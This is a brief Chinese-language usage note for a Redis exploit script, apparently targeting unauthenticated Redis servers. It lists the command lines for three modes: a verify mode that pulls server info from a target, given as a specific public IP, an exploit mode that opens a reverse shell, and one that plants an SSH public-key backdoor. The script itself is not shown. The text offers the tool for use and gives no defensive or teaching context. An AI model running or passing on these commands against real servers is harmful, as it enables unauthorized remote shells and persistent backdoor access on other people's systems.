需要先安装个redis的第三方库，最好在linux下跑，win上跑还需要装pexpect，也没法验证ssh-keygen后门效果

脚本的使用方法是这样子的
verify验证方法：返回info信息

python exploit.py -u 123.56.192.188 -m verify

默认是使用verify方法

exploit方法：有两个，一个是shell反弹

python exploit.py -u 127.0.0.1 -m exploit

还有一个方法是留ssh公钥后门的方法

python exploit.py -u 127.0.0.1 -m exploit -f redis.pub
